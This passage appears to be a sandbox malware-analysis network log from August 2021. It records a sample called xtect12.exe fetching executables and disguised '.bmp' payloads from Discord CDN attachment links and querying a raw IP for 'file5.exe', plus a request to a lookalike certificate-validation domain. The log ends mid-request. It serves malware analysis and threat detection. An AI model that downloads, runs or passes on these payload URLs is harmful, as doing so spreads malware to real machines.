                                                                                                                                                                                                                                          ocsp.digicert.com
                                                                                                                                                                                                                                          IN CNAME
                                                                                                                                                                                                                                          cs9.wac.phicdn.net
                                                                                                                                                                                                                                          cs9.wac.phicdn.net
                                                                                                                                                                                                                                          IN A
                                                                                                                                                                                                                                          72.21.91.29
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          GET
                                                                                                                                                                                                                                          http://statuse.digitalcertvalidation.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBRJrF0xYA49jC3D83fgDGesaUkzIQQUf9OZ86BHDjEAVlYijrfMnt3KAYoCEAYJR5FkG19ljPHMaGsuvmc%3D
                                                                                                                                                                                                                                          askinstall53.exe
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          72.21.91.29:80
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBRJrF0xYA49jC3D83fgDGesaUkzIQQUf9OZ86BHDjEAVlYijrfMnt3KAYoCEAYJR5FkG19ljPHMaGsuvmc%3D HTTP/1.1
                                                                                                                                                                                                                                          Connection: Keep-Alive
                                                                                                                                                                                                                                          Accept: */*
                                                                                                                                                                                                                                          User-Agent: Microsoft-CryptoAPI/10.0
                                                                                                                                                                                                                                          Host: statuse.digitalcertvalidation.com
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          HTTP/1.1 200 OK
                                                                                                                                                                                                                                          Accept-Ranges: bytes
                                                                                                                                                                                                                                          Age: 3180
                                                                                                                                                                                                                                          Cache-Control: max-age=102498
                                                                                                                                                                                                                                          Content-Type: application/ocsp-response
                                                                                                                                                                                                                                          Date: Sat, 21 Aug 2021 10:25:20 GMT
                                                                                                                                                                                                                                          Etag: "611fb586-1d7"
                                                                                                                                                                                                                                          Expires: Sun, 22 Aug 2021 14:53:38 GMT
                                                                                                                                                                                                                                          Last-Modified: Fri, 20 Aug 2021 14:00:38 GMT
                                                                                                                                                                                                                                          Server: ECS (bsa/EB1C)
                                                                                                                                                                                                                                          X-Cache: HIT
                                                                                                                                                                                                                                          Content-Length: 471
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          GET
                                                                                                                                                                                                                                          https://cdn.discordapp.com/attachments/870454586861846551/870548989903274054/jooyu.exe
                                                                                                                                                                                                                                          xtect12.exe
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          162.159.135.233:443
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          GET /attachments/870454586861846551/870548989903274054/jooyu.exe HTTP/1.1
                                                                                                                                                                                                                                          User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36
                                                                                                                                                                                                                                          Host: cdn.discordapp.com
                                                                                                                                                                                                                                          Cache-Control: no-cache
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          HTTP/1.1 403 Forbidden
                                                                                                                                                                                                                                          Date: Sat, 21 Aug 2021 10:25:21 GMT
                                                                                                                                                                                                                                          Content-Type: application/xml; charset=UTF-8
                                                                                                                                                                                                                                          Content-Length: 223
                                                                                                                                                                                                                                          Connection: keep-alive
                                                                                                                                                                                                                                          CF-Ray: 6823282b98c80099-AMS
                                                                                                                                                                                                                                          Cache-Control: private, max-age=0
                                                                                                                                                                                                                                          Expires: Sat, 21 Aug 2021 10:25:21 GMT
                                                                                                                                                                                                                                          Vary: Accept-Encoding
                                                                                                                                                                                                                                          CF-Cache-Status: MISS
                                                                                                                                                                                                                                          Alt-Svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400, h3=":443"; ma=86400
                                                                                                                                                                                                                                          Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct"
                                                                                                                                                                                                                                          X-GUploader-UploadID: ADPycdtaCdkGTD4xsj1EcrkwT-Ra804dr7dRCUOmYwbMSuPmZSxYMHV6MF7W2Nw-nGeIcdKhRMlkakGWLFDoZxf-hQ
                                                                                                                                                                                                                                          X-Robots-Tag: noindex, nofollow, noarchive, nocache, noimageindex, noodp
                                                                                                                                                                                                                                          Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=T6CPjNFA%2BcqyPZPWW5XTf6Lxq5Ms0ifgAqQkOJ7KlAQ%2F%2Fe2L3WD3%2F2B7wehoS5oLx%2F%2FkRwv9iCWhoOIw7IqfGmmjhs3Nh7J%2BSNOsBFLi7wi0TA%2FvIA8cxYP%2BlVr5AJRThtqJTQ%3D%3D"}],"group":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                          NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                          Server: cloudflare
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          GET
                                                                                                                                                                                                                                          https://cdn.discordapp.com/attachments/873056123240972371/878288738072023080/falioca.bmp
                                                                                                                                                                                                                                          xtect12.exe
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          162.159.135.233:443
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          GET /attachments/873056123240972371/878288738072023080/falioca.bmp HTTP/1.1
                                                                                                                                                                                                                                          User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36
                                                                                                                                                                                                                                          Host: cdn.discordapp.com
                                                                                                                                                                                                                                          Cache-Control: no-cache
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          HTTP/1.1 200 OK
                                                                                                                                                                                                                                          Date: Sat, 21 Aug 2021 10:25:21 GMT
                                                                                                                                                                                                                                          Content-Type: image/x-ms-bmp
                                                                                                                                                                                                                                          Content-Length: 3238840
                                                                                                                                                                                                                                          Connection: keep-alive
                                                                                                                                                                                                                                          CF-Ray: 6823282b9f994c14-AMS
                                                                                                                                                                                                                                          Accept-Ranges: bytes
                                                                                                                                                                                                                                          Age: 70660
                                                                                                                                                                                                                                          Cache-Control: public, max-age=31536000
                                                                                                                                                                                                                                          Content-Disposition: attachment;%20filename=falioca.bmp
                                                                                                                                                                                                                                          ETag: "43ee7dcb1a407a4978174167c4d3a8ea"
                                                                                                                                                                                                                                          Expires: Sun, 21 Aug 2022 10:25:21 GMT
                                                                                                                                                                                                                                          Last-Modified: Fri, 20 Aug 2021 14:45:53 GMT
                                                                                                                                                                                                                                          Vary: Accept-Encoding
                                                                                                                                                                                                                                          CF-Cache-Status: HIT
                                                                                                                                                                                                                                          Alt-Svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400, h3=":443"; ma=86400
                                                                                                                                                                                                                                          Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct"
                                                                                                                                                                                                                                          x-goog-generation: 1629470753074001
                                                                                                                                                                                                                                          x-goog-hash: crc32c=usItXA==
                                                                                                                                                                                                                                          x-goog-hash: md5=Q+59yxpAekl4F0FnxNOo6g==
                                                                                                                                                                                                                                          x-goog-metageneration: 1
                                                                                                                                                                                                                                          x-goog-storage-class: STANDARD
                                                                                                                                                                                                                                          x-goog-stored-content-encoding: identity
                                                                                                                                                                                                                                          x-goog-stored-content-length: 3238840
                                                                                                                                                                                                                                          X-GUploader-UploadID: ADPycdv3r2-Z-EE3Qy39D2mh3xxLb5_Buld0Z2nQUnUlriZbVTfZmfsuoRgSacKaxWP6q0jzR9J8QesbTf5su2q9w6k
                                                                                                                                                                                                                                          X-Robots-Tag: noindex, nofollow, noarchive, nocache, noimageindex, noodp
                                                                                                                                                                                                                                          Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=PuRJHicKQdaQHYYYd4B9ZuftZfC68ihJX9bWdRpgbSqz51rEbmAlp9fqbvd2vn4nXt79SsLdqCL5p7pQfu0Ikh9mq4UYQe8oV6idwRwcWhxM8bW1ttRaVsf2VUNhkM2xr7o5GA%3D%3D"}],"group":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                          NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                          Server: cloudflare
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          GET
                                                                                                                                                                                                                                          https://cdn.discordapp.com/attachments/873056123240972371/878531363169525770/Real21.bmp
                                                                                                                                                                                                                                          xtect12.exe
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          162.159.135.233:443
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          GET /attachments/873056123240972371/878531363169525770/Real21.bmp HTTP/1.1
                                                                                                                                                                                                                                          User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36
                                                                                                                                                                                                                                          Host: cdn.discordapp.com
                                                                                                                                                                                                                                          Cache-Control: no-cache
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          HTTP/1.1 200 OK
                                                                                                                                                                                                                                          Date: Sat, 21 Aug 2021 10:25:21 GMT
                                                                                                                                                                                                                                          Content-Type: image/x-ms-bmp
                                                                                                                                                                                                                                          Content-Length: 524800
                                                                                                                                                                                                                                          Connection: keep-alive
                                                                                                                                                                                                                                          CF-Ray: 6823282edee60c09-AMS
                                                                                                                                                                                                                                          Accept-Ranges: bytes
                                                                                                                                                                                                                                          Age: 12871
                                                                                                                                                                                                                                          Cache-Control: public, max-age=31536000
                                                                                                                                                                                                                                          Content-Disposition: attachment;%20filename=Real21.bmp
                                                                                                                                                                                                                                          ETag: "dcb11fa3de5f2d8e38920601724dab09"
                                                                                                                                                                                                                                          Expires: Sun, 21 Aug 2022 10:25:21 GMT
                                                                                                                                                                                                                                          Last-Modified: Sat, 21 Aug 2021 06:49:59 GMT
                                                                                                                                                                                                                                          Vary: Accept-Encoding
                                                                                                                                                                                                                                          CF-Cache-Status: HIT
                                                                                                                                                                                                                                          Alt-Svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400, h3=":443"; ma=86400
                                                                                                                                                                                                                                          Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct"
                                                                                                                                                                                                                                          x-goog-generation: 1629528599345666
                                                                                                                                                                                                                                          x-goog-hash: crc32c=Mee6Dw==
                                                                                                                                                                                                                                          x-goog-hash: md5=3LEfo95fLY44kgYBck2rCQ==
                                                                                                                                                                                                                                          x-goog-metageneration: 1
                                                                                                                                                                                                                                          x-goog-storage-class: STANDARD
                                                                                                                                                                                                                                          x-goog-stored-content-encoding: identity
                                                                                                                                                                                                                                          x-goog-stored-content-length: 524800
                                                                                                                                                                                                                                          X-GUploader-UploadID: ADPycdtUsH1MW-QZNsQMe6lEqLQEIStHZCwOO5lx1hG_oinexcm9O6mO_0r0MAjuex5IbRefsL_-PWaK-gBeWT99Ug
                                                                                                                                                                                                                                          X-Robots-Tag: noindex, nofollow, noarchive, nocache, noimageindex, noodp
                                                                                                                                                                                                                                          Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=DRnlk%2F4QfF1LweF8kMrwn6Qj%2FzW0drwwnRVQ%2BAXofZA7Nl7oC0idui%2Bq7oiTxGF8i6jcp4TiBO7CdZRx6dEuZ3iIGna%2Fi%2F8rKBMrVaiVspxIKiJ05qB%2F9On34nPH6W%2FxsOlEtw%3D%3D"}],"group":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                          NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                          Server: cloudflare
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          GET
                                                                                                                                                                                                                                          https://cdn.discordapp.com/attachments/873056123240972371/878179890132815902/passat20.bmp
                                                                                                                                                                                                                                          xtect12.exe
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          162.159.135.233:443
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          GET /attachments/873056123240972371/878179890132815902/passat20.bmp HTTP/1.1
                                                                                                                                                                                                                                          User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36
                                                                                                                                                                                                                                          Host: cdn.discordapp.com
                                                                                                                                                                                                                                          Cache-Control: no-cache
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          HTTP/1.1 200 OK
                                                                                                                                                                                                                                          Date: Sat, 21 Aug 2021 10:25:21 GMT
                                                                                                                                                                                                                                          Content-Type: image/x-ms-bmp
                                                                                                                                                                                                                                          Content-Length: 3049912
                                                                                                                                                                                                                                          Connection: keep-alive
                                                                                                                                                                                                                                          CF-Ray: 6823282ed9f24c2b-AMS
                                                                                                                                                                                                                                          Accept-Ranges: bytes
                                                                                                                                                                                                                                          Age: 96213
                                                                                                                                                                                                                                          Cache-Control: public, max-age=31536000
                                                                                                                                                                                                                                          Content-Disposition: attachment;%20filename=passat20.bmp
                                                                                                                                                                                                                                          ETag: "904cb2921cda1d9302914bf31af38cc4"
                                                                                                                                                                                                                                          Expires: Sun, 21 Aug 2022 10:25:21 GMT
                                                                                                                                                                                                                                          Last-Modified: Fri, 20 Aug 2021 07:33:21 GMT
                                                                                                                                                                                                                                          Vary: Accept-Encoding
                                                                                                                                                                                                                                          CF-Cache-Status: HIT
                                                                                                                                                                                                                                          Alt-Svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400, h3=":443"; ma=86400
                                                                                                                                                                                                                                          Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct"
                                                                                                                                                                                                                                          x-goog-generation: 1629444801730929
                                                                                                                                                                                                                                          x-goog-hash: crc32c=2GrfhQ==
                                                                                                                                                                                                                                          x-goog-hash: md5=kEyykhzaHZMCkUvzGvOMxA==
                                                                                                                                                                                                                                          x-goog-metageneration: 1
                                                                                                                                                                                                                                          x-goog-storage-class: STANDARD
                                                                                                                                                                                                                                          x-goog-stored-content-encoding: identity
                                                                                                                                                                                                                                          x-goog-stored-content-length: 3049912
                                                                                                                                                                                                                                          X-GUploader-UploadID: ADPycdtutze8amDusRCmvelXhvBWzzcBQCZD3gieNAx_0hNlOl8hVF1Y052O3FWGVmayinUO9P-_vSWV7QJbHnsw4b8kpqaJog
                                                                                                                                                                                                                                          X-Robots-Tag: noindex, nofollow, noarchive, nocache, noimageindex, noodp
                                                                                                                                                                                                                                          Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=zcj4rt6EovhAdkdEg7D%2Fgmd7zhrK%2FeU6llHA%2FUW%2B9sLgQLs3rUDv3f4OXoszAq6fCdPU4d1WKgOKN6Qzfzrcbx%2FBcVyVXqqK8h92%2FblRRkjyBl5laVq4%2BmLloqawRIa5L8iAHQ%3D%3D"}],"group":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                          NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                          Server: cloudflare
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          GET
                                                                                                                                                                                                                                          https://cdn.discordapp.com/attachments/829885245049667597/874990247837061120/inst001.exe
                                                                                                                                                                                                                                          xtect12.exe
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          162.159.135.233:443
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          GET /attachments/829885245049667597/874990247837061120/inst001.exe HTTP/1.1
                                                                                                                                                                                                                                          User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36
                                                                                                                                                                                                                                          Host: cdn.discordapp.com
                                                                                                                                                                                                                                          Cache-Control: no-cache
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          HTTP/1.1 200 OK
                                                                                                                                                                                                                                          Date: Sat, 21 Aug 2021 10:25:22 GMT
                                                                                                                                                                                                                                          Content-Type: application/x-msdos-program
                                                                                                                                                                                                                                          Content-Length: 263168
                                                                                                                                                                                                                                          Connection: keep-alive
                                                                                                                                                                                                                                          CF-Ray: 682328325a3e41fa-AMS
                                                                                                                                                                                                                                          Accept-Ranges: bytes
                                                                                                                                                                                                                                          Age: 835094
                                                                                                                                                                                                                                          Cache-Control: public, max-age=31536000
                                                                                                                                                                                                                                          Content-Disposition: attachment;%20filename=inst001.exe
                                                                                                                                                                                                                                          ETag: "a6ef5e293c9422d9a4838178aea19c50"
                                                                                                                                                                                                                                          Expires: Sun, 21 Aug 2022 10:25:22 GMT
                                                                                                                                                                                                                                          Last-Modified: Wed, 11 Aug 2021 12:18:51 GMT
                                                                                                                                                                                                                                          Vary: Accept-Encoding
                                                                                                                                                                                                                                          CF-Cache-Status: HIT
                                                                                                                                                                                                                                          Alt-Svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400, h3=":443"; ma=86400
                                                                                                                                                                                                                                          Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct"
                                                                                                                                                                                                                                          x-goog-generation: 1628684331663608
                                                                                                                                                                                                                                          x-goog-hash: crc32c=pNx86Q==
                                                                                                                                                                                                                                          x-goog-hash: md5=pu9eKTyUItmkg4F4rqGcUA==
                                                                                                                                                                                                                                          x-goog-metageneration: 1
                                                                                                                                                                                                                                          x-goog-storage-class: STANDARD
                                                                                                                                                                                                                                          x-goog-stored-content-encoding: identity
                                                                                                                                                                                                                                          x-goog-stored-content-length: 263168
                                                                                                                                                                                                                                          X-GUploader-UploadID: ADPycdsyImOQwKHdpTdyfjMna5QdI-W7hfM1oxUIAx1SVALcwuz33uBBslm2_vOY1XkQz8Par85hNdOLN3kYfkwMPuI
                                                                                                                                                                                                                                          X-Robots-Tag: noindex, nofollow, noarchive, nocache, noimageindex, noodp
                                                                                                                                                                                                                                          Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=sBUwBhQGzLfS%2FH2C41eY7l17KR5Is%2FgT1WgJLHT%2B5MRQiKL0N2jM3KAXuJpo%2Fha7RZwC8YonUHwvP5wERRTVgXxTevLuZeKmFx0MxqSRMGaWb1nKCr6IVk6ml4pTvH2tROhXIQ%3D%3D"}],"group":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                          NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                          Server: cloudflare
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          GET
                                                                                                                                                                                                                                          https://cdn.discordapp.com/attachments/875703530030260245/877542349398474782/VerminateMechanize_2021-08-18_15-57.bmp
                                                                                                                                                                                                                                          xtect12.exe
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          162.159.135.233:443
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          GET /attachments/875703530030260245/877542349398474782/VerminateMechanize_2021-08-18_15-57.bmp HTTP/1.1
                                                                                                                                                                                                                                          User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36
                                                                                                                                                                                                                                          Host: cdn.discordapp.com
                                                                                                                                                                                                                                          Cache-Control: no-cache
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          HTTP/1.1 200 OK
                                                                                                                                                                                                                                          Date: Sat, 21 Aug 2021 10:25:22 GMT
                                                                                                                                                                                                                                          Content-Type: image/x-ms-bmp
                                                                                                                                                                                                                                          Content-Length: 270336
                                                                                                                                                                                                                                          Connection: keep-alive
                                                                                                                                                                                                                                          CF-Ray: 682328326a92d8c1-AMS
                                                                                                                                                                                                                                          Accept-Ranges: bytes
                                                                                                                                                                                                                                          Age: 248719
                                                                                                                                                                                                                                          Cache-Control: public, max-age=31536000
                                                                                                                                                                                                                                          Content-Disposition: attachment;%20filename=VerminateMechanize_2021-08-18_15-57.bmp
                                                                                                                                                                                                                                          ETag: "c7ccbd62c259a382501ff67408594011"
                                                                                                                                                                                                                                          Expires: Sun, 21 Aug 2022 10:25:22 GMT
                                                                                                                                                                                                                                          Last-Modified: Wed, 18 Aug 2021 13:20:00 GMT
                                                                                                                                                                                                                                          Vary: Accept-Encoding
                                                                                                                                                                                                                                          CF-Cache-Status: HIT
                                                                                                                                                                                                                                          Alt-Svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400, h3=":443"; ma=86400
                                                                                                                                                                                                                                          Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct"
                                                                                                                                                                                                                                          x-goog-generation: 1629292800090974
                                                                                                                                                                                                                                          x-goog-hash: crc32c=G8FxUQ==
                                                                                                                                                                                                                                          x-goog-hash: md5=x8y9YsJZo4JQH/Z0CFlAEQ==
                                                                                                                                                                                                                                          x-goog-metageneration: 1
                                                                                                                                                                                                                                          x-goog-storage-class: STANDARD
                                                                                                                                                                                                                                          x-goog-stored-content-encoding: identity
                                                                                                                                                                                                                                          x-goog-stored-content-length: 270336
                                                                                                                                                                                                                                          X-GUploader-UploadID: ADPycds5aNkM8EZSj02CTVLEN5uJ6P4uhyKzprLPG3W1VhZ8N0EMUVy9SWJu_O0g3Xzo-yHsWugSzuxl3GVRmbNPBUOBC_wYsg
                                                                                                                                                                                                                                          X-Robots-Tag: noindex, nofollow, noarchive, nocache, noimageindex, noodp
                                                                                                                                                                                                                                          Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=RDYl%2BRmSD%2FfO0oM221N8RD0xIksqcflYhBic%2Bu9QA2mEoLP9mUlFj5yUhMsJyXoCgF%2FdjLVLMi4Sl8FpIsQtpELdp4qPsIixMrl4E%2FypYNXemg80RI6PkRSEtx%2BPpt9aeQdLBg%3D%3D"}],"group":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                          NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                          Server: cloudflare
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          GET
                                                                                                                                                                                                                                          https://cdn.discordapp.com/attachments/877968885607956512/877968995024781322/Setup2.exe
                                                                                                                                                                                                                                          xtect12.exe
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          162.159.135.233:443
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          GET /attachments/877968885607956512/877968995024781322/Setup2.exe HTTP/1.1
                                                                                                                                                                                                                                          User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36
                                                                                                                                                                                                                                          Host: cdn.discordapp.com
                                                                                                                                                                                                                                          Cache-Control: no-cache
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          HTTP/1.1 200 OK
                                                                                                                                                                                                                                          Date: Sat, 21 Aug 2021 10:25:22 GMT
                                                                                                                                                                                                                                          Content-Type: application/x-msdos-program
                                                                                                                                                                                                                                          Content-Length: 2082693
                                                                                                                                                                                                                                          Connection: keep-alive
                                                                                                                                                                                                                                          CF-Ray: 682328334c2cfa38-AMS
                                                                                                                                                                                                                                          Accept-Ranges: bytes
                                                                                                                                                                                                                                          Age: 98160
                                                                                                                                                                                                                                          Cache-Control: public, max-age=31536000
                                                                                                                                                                                                                                          Content-Disposition: attachment;%20filename=Setup2.exe
                                                                                                                                                                                                                                          ETag: "7c34cf01cf220a4caf2feaee9a187b77"
                                                                                                                                                                                                                                          Expires: Sun, 21 Aug 2022 10:25:22 GMT
                                                                                                                                                                                                                                          Last-Modified: Thu, 19 Aug 2021 17:35:20 GMT
                                                                                                                                                                                                                                          Vary: Accept-Encoding
                                                                                                                                                                                                                                          CF-Cache-Status: HIT
                                                                                                                                                                                                                                          Alt-Svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400, h3=":443"; ma=86400
                                                                                                                                                                                                                                          Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct"
                                                                                                                                                                                                                                          x-goog-generation: 1629394520358335
                                                                                                                                                                                                                                          x-goog-hash: crc32c=xt/49Q==
                                                                                                                                                                                                                                          x-goog-hash: md5=fDTPAc8iCkyvL+rumhh7dw==
                                                                                                                                                                                                                                          x-goog-metageneration: 1
                                                                                                                                                                                                                                          x-goog-storage-class: STANDARD
                                                                                                                                                                                                                                          x-goog-stored-content-encoding: identity
                                                                                                                                                                                                                                          x-goog-stored-content-length: 2082693
                                                                                                                                                                                                                                          X-GUploader-UploadID: ADPycdufEU6ytktH0sSb6U9otGNpW3zf7BZVB4YiUDTuC0mW_-Ye2VBysPE9pGOc8lR7FV8y9rTYxdk7ZpwSMk-Gf16VIsrFAg
                                                                                                                                                                                                                                          X-Robots-Tag: noindex, nofollow, noarchive, nocache, noimageindex, noodp
                                                                                                                                                                                                                                          Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=%2B6jdpVhZ4okogPiV3kRHWobJbqBkHWnI0LL4Wbp2lGc5md41rIV0JKDTfMQHXgBgipk5Wu1f4eI%2Bt6ymmdkctxyvlKe6Zj1yL7wv7V%2F01U8pocz53DErCt3v4yL1yCo%2BKtFTgw%3D%3D"}],"group":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                          NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                          Server: cloudflare
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          GET
                                                                                                                                                                                                                                          https://cdn.discordapp.com/attachments/873992598220599389/877976108329496657/setup.exe
                                                                                                                                                                                                                                          xtect12.exe
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          162.159.135.233:443
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          GET /attachments/873992598220599389/877976108329496657/setup.exe HTTP/1.1
                                                                                                                                                                                                                                          User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36
                                                                                                                                                                                                                                          Host: cdn.discordapp.com
                                                                                                                                                                                                                                          Cache-Control: no-cache
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          HTTP/1.1 200 OK
                                                                                                                                                                                                                                          Date: Sat, 21 Aug 2021 10:25:22 GMT
                                                                                                                                                                                                                                          Content-Type: application/x-msdos-program
                                                                                                                                                                                                                                          Content-Length: 333824
                                                                                                                                                                                                                                          Connection: keep-alive
                                                                                                                                                                                                                                          CF-Ray: 682328335d7d0c21-AMS
                                                                                                                                                                                                                                          Accept-Ranges: bytes
                                                                                                                                                                                                                                          Age: 144429
                                                                                                                                                                                                                                          Cache-Control: public, max-age=31536000
                                                                                                                                                                                                                                          Content-Disposition: attachment;%20filename=setup.exe
                                                                                                                                                                                                                                          ETag: "e4deef56f8949378a1c650126cc4368b"
                                                                                                                                                                                                                                          Expires: Sun, 21 Aug 2022 10:25:22 GMT
                                                                                                                                                                                                                                          Last-Modified: Thu, 19 Aug 2021 18:03:36 GMT
                                                                                                                                                                                                                                          Vary: Accept-Encoding
                                                                                                                                                                                                                                          CF-Cache-Status: HIT
                                                                                                                                                                                                                                          Alt-Svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400, h3=":443"; ma=86400
                                                                                                                                                                                                                                          Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct"
                                                                                                                                                                                                                                          x-goog-generation: 1629396216285036
                                                                                                                                                                                                                                          x-goog-hash: crc32c=g1tuIA==
                                                                                                                                                                                                                                          x-goog-hash: md5=5N7vVviUk3ihxlASbMQ2iw==
                                                                                                                                                                                                                                          x-goog-metageneration: 1
                                                                                                                                                                                                                                          x-goog-storage-class: STANDARD
                                                                                                                                                                                                                                          x-goog-stored-content-encoding: identity
                                                                                                                                                                                                                                          x-goog-stored-content-length: 333824
                                                                                                                                                                                                                                          X-GUploader-UploadID: ADPycduTfiy_0BfiqjWZFI_pYX99CLg_BcoQ9QJp0yg5XahR0KBIipoWyn1D9X4l0FztzwsUo0eKqce9z-uzNmm9slKIvIW4xA
                                                                                                                                                                                                                                          X-Robots-Tag: noindex, nofollow, noarchive, nocache, noimageindex, noodp
                                                                                                                                                                                                                                          Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=V%2F68dYvRuAaQJY2Q%2FEITm3qGNjlU5%2BvtKWrLoEfV3tfr91%2F5tWr6GDMNNmmNkDkZf%2FawoIT%2FhdcQbjBmExvktm7VIkRd482PUUANlJxKDf3lrJc4mpkyouw5B42%2BC0ul0n8I3Q%3D%3D"}],"group":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                          NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                          Server: cloudflare
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          HEAD
                                                                                                                                                                                                                                          http://37.0.10.214/WW/file5.exe
                                                                                                                                                                                                                                          xtect12.exe
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          37.0.10.214:80
                                                                                                                                                                                                                                          Request
